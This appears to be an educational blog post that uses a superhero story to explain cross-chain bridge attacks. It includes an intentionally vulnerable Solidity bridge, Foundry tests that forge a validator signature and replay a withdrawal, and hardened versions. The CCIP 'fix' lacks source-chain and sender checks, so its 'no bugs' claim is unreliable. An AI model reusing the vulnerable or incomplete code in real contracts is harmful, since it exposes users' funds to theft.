Spider-Man vs Doctor Strange - Multiverse Bridge Heist
Danger (With great power comes… one private key.)
Doctor Strange just needed one validator key to open every portal in the multiverse.
And then replay the same spell - forever.
This is the ultimate 2025 guide to cross-chain bridge security disasters.
One signature.
No replay protection.
One validator.
Billions lost.
Welcome to the multiverse heist.
TL;DR
Vulnerability:
- Single validator → full signature forgery
- No replay protection → unlimited minting
abi.encodePacked→ hash collisions- No source-chain verification → Unbacked Minting on destination chain.
Impact: Destination chain prints infinite unbacked tokens → supply inflation → peg breaks → source funds locked forever
Real losses: $3.2B+ since 2021 (Wormhole, Ronin, Multichain, Orbit Chain…)
Fix: EIP-712 + chain-scoped nonces + multi-sig validators + Chainlink CCIP
Story Time - The Spell That Never Ends
Spider-Man deposits 1,000 mETH into the MultiverseBridge on Ethereum.
A single off-chain validator (supposedly trusted) signs the message:
“Mint 1,000 mETH to Peter Parker on Polygon.”
Spider-Man swings away expecting his tokens.
Then Doctor Strange appears.
He’s already stolen the validator’s private key.
He signs a new message:
“Mint 1,000 mETH to DoctorStrange@darkdimension.com”
And then replays Spider-Man’s original message - 100 times.
Polygon now has 101,000 fake mETH circulating.
Ethereum still shows only 1,000 locked.
The peg is dead.
The multiverse is broken.
Doctor Strange smiles:
“I’ve come to bargain… with your token supply.”
5 collapsed lines
// SPDX-License-License-Identifier: MITpragma solidity ^0.8.30;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Source Bridge (e.g., Ethereum)contract SourceBridge { address public bridgedToken; uint256 public totalLocked = 0; mapping(address => uint256) public userLockedFunds;
event FundsLocked(address indexed user, uint256 amount, uint256 nonce, bytes32 txHash);
constructor(address _token) { bridgedToken = _token; }
function lockFunds(uint256 amount, uint256 nonce) external { IERC20(bridgedToken).transferFrom(msg.sender, address(this), amount); userLockedFunds[msg.sender] += amount; totalLocked += amount; bytes32 txHash = keccak256(abi.encode(blockhash(block.number - 1), msg.sender, amount, nonce)); emit FundsLocked(msg.sender, amount, nonce, txHash); }}The Vulnerable Bridge - DestinationBridge.sol
8 collapsed lines
// SPDX-License-Identifier: MITpragma solidity ^0.8.30;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";import "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";import "./IMintableToken.sol";
contract DestinationBridge { using ECDSA for bytes32; using MessageHashUtils for bytes32;
address public validator; address public bridgedToken;
constructor(address _validator, address _token) { validator = _validator; bridgedToken = _token; }
function withdraw( address to, uint256 amount, uint256 nonce, bytes32 sourceTxHash, bytes memory signature ) external { // 1. Weak hash → collision risk bytes32 messageHash = keccak256(abi.encodePacked(to, amount, nonce, sourceTxHash));
// 2. Single validator → one key = total control require(messageHash.toEthSignedMessageHash().recover(signature) == validator, "Bad sig");
// 3. NO REPLAY PROTECTION → same message works forever IMintableToken(bridgedToken).mint(to, amount); }}Vulnerabilities:
- Single Validator: A compromised validator key allows forging any message, enabling unauthorized minting.
- Replay Attack: No
processedMessagesmapping or nonce validation allows reusing valid signatures to mint unlimited tokens. - Message Hash Collisions: Using
abi.encodePackedrisks collisions (e.g.,("1","23")vs("12","3")), potentially allowing unintended message validation. - No User Fund Check: The contract does not verify that funds were locked on the source chain, risking minting without backing.
- Mempool Race Potential: Although no explicit replay protection exists, parallel transactions could exacerbate issues in a production environment without sequencing.
- Three lines of code.
- Three fatal flaws.
- One infinite money printer.
The Heist
contract MultiverseBridgeExploitTest is Test { SourceBridge sourceBridge; DestinationBridge destBridge; MockMintableERC20 token;
address spiderMan = makeAddr("SpiderMan"); address doctorStrange = makeAddr("DoctorStrange");
uint256 validatorPk = 0xBEEF; // Doctor Strange steals this address validator;
function setUp() public { validator = vm.addr(validatorPk);
token = new MockMintableERC20("mETH", "mETH"); sourceBridge = new SourceBridge(address(token)); destBridge = new DestinationBridge(validator, address(token));
token.mint(spiderMan, 1000); }
function _sign(bytes32 messageHash, uint256 pk) internal pure returns (bytes memory) { bytes32 ethHash = MessageHashUtils.toEthSignedMessageHash(messageHash); (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, ethHash); return abi.encodePacked(r, s, v); }
/// 1. Doctor Strange forges a signature using stolen key function testForgedSignature() public { // Spider-Man locks funds on the source chain vm.startPrank(spiderMan); token.approve(address(sourceBridge), 1000); sourceBridge.lockFunds(1000, 1); vm.stopPrank();
// Doctor Strange fakes a message: "Mint 1000 mETH to me" bytes32 fakeHash = keccak256(abi.encodePacked(doctorStrange, uint256(1000), uint256(1), bytes32("FAKE_TX")));
bytes memory forgedSig = _sign(fakeHash, validatorPk);
// Exploit: mint unbacked funds on destination chain vm.prank(doctorStrange); destBridge.withdraw(doctorStrange, 1000, 1, bytes32("FAKE_TX"), forgedSig);
assertEq(token.balanceOf(doctorStrange), 1000, "Doctor Strange forged unlimited mint power"); }
/// 2. Replay Spider-Man’s valid message infinitely function testReplayAttack() public { // Spider-Man locks funds vm.startPrank(spiderMan); token.approve(address(sourceBridge), 1000); sourceBridge.lockFunds(1000, 1); vm.stopPrank();
bytes32 txHash = bytes32("REAL_TX");
// Valid signature (only meant to be used once) bytes32 messageHash = keccak256(abi.encodePacked(spiderMan, uint256(1000), uint256(1), txHash)); bytes memory sig = _sign(messageHash, validatorPk);
// First valid withdrawal destBridge.withdraw(spiderMan, 1000, 1, txHash, sig);
// Replay - Doctor Strange uses the SAME signature again destBridge.withdraw(spiderMan, 1000, 1, txHash, sig);
assertEq(token.balanceOf(spiderMan), 2000, "Replay attack: minted twice from one lock"); }}Attack Steps
- Spider-Man Locks on Source: Deposits 1,000 mETH into
SourceBridge, emittingFundsLockedwith nonce andtxHash. - Validator Signs: Off-chain validator signs a message for destination withdrawal.
- Strange Compromises Validator: Steals the validator’s private key, forging a message to mint 1,000 mETH to himself.
- Replay Attack: Reuses a valid signed message (e.g., Spider-Man’s withdrawal) multiple times, minting additional mETH without restrictions.
- Outcome: The destination chain mints unbacked mETH (e.g., 2,000+ mETH for a 1,000 mETH lock), inflating supply and breaking cross-chain consistency.
- One validator key = god mode
- No replay protection = infinite mint
The Secure Multiverse - Two Real Fixes
Fix 1: Robust Message Signing + Multi-Signature Validators
EIP-712 typed hashing • chain IDs • replay protection • true multi-sig
7 collapsed lines
// SPDX-License-Identifier: MITpragma solidity ^0.8.30;
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";import "./IMintableToken.sol";
contract DestinationBridgeSecure is EIP712 { bytes32 private constant TYPE_HASH = keccak256( "BridgeMessage(address to,uint256 amount,uint256 nonce,bytes32 sourceTxHash,uint256 sourceChainId,uint256 destChainId)" );
IMintableToken public immutable token;
mapping(address => bool) public isValidator; mapping(bytes32 => bool) public processed; uint256 public immutable requiredSigs;
constructor(address[] memory validators, uint256 _requiredSigs, address _token) EIP712("MultiverseBridge", "1") { require(validators.length >= _requiredSigs && _requiredSigs > 0, "bad setup");
for (uint i = 0; i < validators.length; i++) { isValidator[validators[i]] = true; } requiredSigs = _requiredSigs; token = IMintableToken(_token); }
function withdraw( address to, uint256 amount, uint256 nonce, bytes32 sourceTxHash, uint256 sourceChainId, bytes[] calldata signatures ) external { bytes32 structHash = keccak256(abi.encode( TYPE_HASH, to, amount, nonce, sourceTxHash, sourceChainId, block.chainid ));
bytes32 digest = _hashTypedDataV4(structHash);
require(!processed[digest], "already processed"); processed[digest] = true;
uint256 valid = 0; address lastSigner = address(0);
for (uint i = 0; i < signatures.length; i++) { address signer = ECDSA.recover(digest, signatures[i]); if (signer > lastSigner && isValidator[signer]) { valid++; lastSigner = signer; } }
require(valid >= requiredSigs, "not enough valid sigs");
token.mint(to, amount); }}Why this wins in 2025
- Proper EIP-712 via
EIP712.sol+_hashTypedDataV4→ zero collision risk sourceChainId+destChainId→ no cross-chain replayprocessed[digest]→ replay dead- Strictly increasing signers → no duplicates, no malleability, constant gas
- Immutable validator set at deploy → no admin key risk after launch
Fix 2: Chainlink CCIP - Just Delete All the Signature Code
7 collapsed lines
// SPDX-License-Identifier: MITpragma solidity ^0.8.30;
import {IAny2EVMMessageReceiver} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IAny2EVMMessageReceiver.sol";import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";import "./IMintableToken.sol";
contract BridgeDestinationCCIP is IAny2EVMMessageReceiver { IMintableToken public immutable token;
constructor(address _token) { token = IMintableToken(_token); }
function ccipReceive(Client.Any2EVMMessage calldata message) external override onlyRouter { (address to, uint256 amount) = abi.decode(message.data, (address, uint256)); token.mint(to, amount); }
// Chainlink requires this helper modifier onlyRouter() { require(msg.sender == address(ccipRouter()), "only CCIP router"); _; }
function ccipRouter() public view returns (address) { return address(0xE561d5C1...); // official CCIP router address per chain }}Why this is the real 2025 answer
- No keys. No validators. No signatures. No bugs.
- Used by Aave, Synthetix, Compound, GMX, Circle.
- If you’re not using CCIP in 2025, you’re building 2021 tech.
Warning (2025 Truth)
If your bridge still has the word “validator” and “private key” in the same sentence -
you’re building the next Ronin/Wormhole/Multichain hack.
Use CCIP.
Or at least copy the SecureDestinationBridge above.
Anything else is just cosplaying security.
No private keys.
No signatures.
No single point of failure.
Real-World Bridge Graveyard (2021–2025)
| Bridge | Year | Loss | Root Cause |
|---|---|---|---|
| Wormhole | 2022 | $320M | Signature forgery |
| Ronin | 2022 | $625M | 5/9 validator keys stolen |
| Multichain | 2023 | $126M | CEO held all keys |
| Orbit Chain | 2024 | $81M | 7/10 multisig keys compromised |
| YourBridgeHere | 2025 | ??? | Still using single validator? |
Total: $3.2B+ and counting.
Auditor’s Bridge Security Checklist (2025)
Warning
- Single validator or centralized relayer? → Critical
- Using
abi.encodePackedfor message hash? → Critical - No
processedMessages/ replay protection? → Critical - No chain ID in signed message? → Cross-chain replay risk
- No EIP-712 typed data hashing? → Collision risk
- No multi-signature threshold? → Single key = total loss
- Not using CCIP or LayerZero v2? → You’re building 2021 tech
Quiz - Can You Guard the Multiverse?
Exercise (1. What allows Doctor Strange to mint 1M tokens with no lock?)
a) Reentrancy
b) He stole the validator private key
c) Flash loan
d) MEV
Answer
b) One compromised validator key = unlimited forging
Exercise (2. How does he mint infinite tokens from one valid message?)
a) He uses unchecked math
b) No replay protection
c) He bribes the block builder
d) He uses delegatecall
Answer
b) Same valid signature + no processed mapping = infinite mint
Exercise (3. Best production-ready fix in 2025?)
a) Add one more validator
b) Use Chainlink CCIP
c) Add a timelock
d) Switch to abi.encode
Answer
b) CCIP = decentralized, ordered, no keys, battle-tested
Tip
Full code + Foundry tests + CCIP example:
github.com/thesandf/thesandf.xyz
Doctor Strange only needed one key and zero replay protection.
Don’t let your bridge be the next portal he walks through.
Use EIP-712.
Use multi-sig.
Use CCIP.
Or the multiverse will pay the price.
With great bridging comes great responsibility.